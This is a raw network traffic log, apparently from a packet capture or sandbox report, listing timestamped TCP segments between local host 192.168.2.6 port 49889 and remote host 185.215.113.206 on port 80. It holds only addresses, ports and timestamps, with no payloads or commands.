Dec 23, 2024 06:54:27.373195887 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.373234034 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.374161959 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.374217033 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.374258041 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.374294996 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.375242949 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.375292063 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.375344038 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.375381947 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.376298904 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.376348972 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.376394987 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.376429081 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.377510071 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.377526999 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.377559900 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.377579927 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.378484011 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.378530979 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.378571033 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.378612995 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.379518032 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.379565001 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.379610062 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.379652023 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.380597115 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.380641937 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.380686045 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.380728960 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.381671906 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.381717920 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.381767035 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.381803989 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.382745028 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.382791996 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.382917881 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.382958889 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.383852005 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.383907080 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.383924961 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.383960962 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.384927988 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.384974957 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.384995937 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.385030985 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.386038065 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.386090994 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.386120081 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.386152029 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.387087107 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.387130976 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.387228012 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.387274981 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.388123035 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.388170004 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.388257980 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.388298988 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.389492989 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.389513016 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.389544964 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.389564991 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.390285015 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.390327930 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.390377045 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.390420914 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.391360044 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.391407013 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.391952038 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.392039061 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.392402887 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.392452955 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.392519951 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.392560005 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.393506050 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.393553972 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.393573999 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.393606901 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.394637108 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.394654036 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.394689083 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.394709110 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.395658970 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.395673990 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.395716906 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.396699905 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.396747112 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.396914959 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.396954060 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.397829056 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.397874117 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.397893906 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.397943974 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.398854971 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.398897886 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.399009943 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.399290085 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.400083065 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.400136948 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.400141001 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.400172949 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.401088953 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.401112080 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.401135921 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.401173115 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.402129889 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.402148008 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.402172089 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.402194023 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.403146029 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.403188944 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.403261900 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.403295994 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.404325962 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.404365063 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.404411077 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.404447079 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.405313015 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.405354023 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.405379057 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.405412912 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.406461954 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.406477928 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.406502008 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.406526089 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.407464027 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.407515049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.407530069 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.407568932 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.544110060 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.544190884 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.544208050 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.544239998 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.544684887 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.544739008 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.544816017 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.544852018 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.545782089 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.545974970 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.546150923 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.546204090 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.546241999 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.546283007 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.547166109 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.547210932 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.547353029 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.547394991 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.548366070 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.548382044 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.548407078 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.548429966 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.549321890 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.549370050 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.549410105 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.549447060 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.550462961 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.550522089 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.550527096 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.550568104 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.551484108 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.551529884 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.551568031 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.551606894 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.552567005 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.552612066 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.552645922 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.552685976 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.553684950 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.553730965 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.553807020 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.553847075 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.554709911 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.554754972 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.554898977 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.554939985 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.555840015 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.555882931 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.555896997 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.555932045 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.556905985 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.556951046 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.557054043 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.557095051 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.557914972 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.557956934 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.558027983 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.558068991 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.559046984 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.559089899 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.559108019 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.559124947 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.560071945 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.560127020 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.560254097 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.560301065 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.561165094 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.561219931 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.561258078 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.561304092 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.562217951 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.562311888 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.562331915 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.562367916 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.563292027 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.563349009 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.563474894 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.563520908 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.564363003 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.564419031 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.564511061 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.564555883 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.565439939 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.565493107 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.565532923 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.565578938 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.566575050 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.566627026 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.566708088 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.566756010 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.567612886 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.567663908 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.567704916 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.567742109 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.568659067 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.568707943 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.568757057 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.568804026 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.569753885 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.569801092 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.569843054 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.569883108 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.570827961 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.570873976 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.570971012 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.571012974 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.571953058 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.571996927 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.572007895 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.572041988 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.573004961 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.573050976 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.573290110 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.573332071 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.574079037 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.574120998 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.574213982 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.574255943 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.575119972 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.575187922 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.575234890 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.575273037 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.576191902 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.576235056 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.576308966 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.576349020 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.577328920 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.577374935 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.577378035 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.577416897 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.578303099 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.578344107 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.578404903 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.578449965 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.579380989 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.579423904 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.579540968 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.579580069 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.580535889 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.580575943 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.580610991 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.580646992 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.581552029 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.581597090 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.581692934 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.581733942 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.582695007 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.582739115 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.582875967 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.582918882 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.583800077 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.583816051 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.583846092 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.583864927 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.584856033 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.584898949 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.585108995 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.585150957 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.585882902 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.585928917 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.586035013 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.586076975 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.586939096 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.586985111 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.587002993 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.587042093 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.587982893 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.588030100 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.588114977 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.588156939 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.589133978 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.589178085 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.589180946 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.589215040 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.590212107 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.590228081 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.590255022 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.590274096 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.591207981 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.591250896 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.591288090 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.591327906 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.592379093 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.592395067 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.592422009 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.592442036 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.593399048 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.593444109 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.593475103 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.593513966 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.594455957 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.594500065 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.594567060 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.594609976 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.595521927 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.595566988 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.595607042 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.595648050 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.596597910 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.596641064 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.596695900 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.596738100 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.597675085 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.597721100 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.597763062 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.597800970 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.598710060 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.598757029 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.598942995 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.598985910 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.599813938 CET	80	49889	185.215.113.206	192.168.2.6
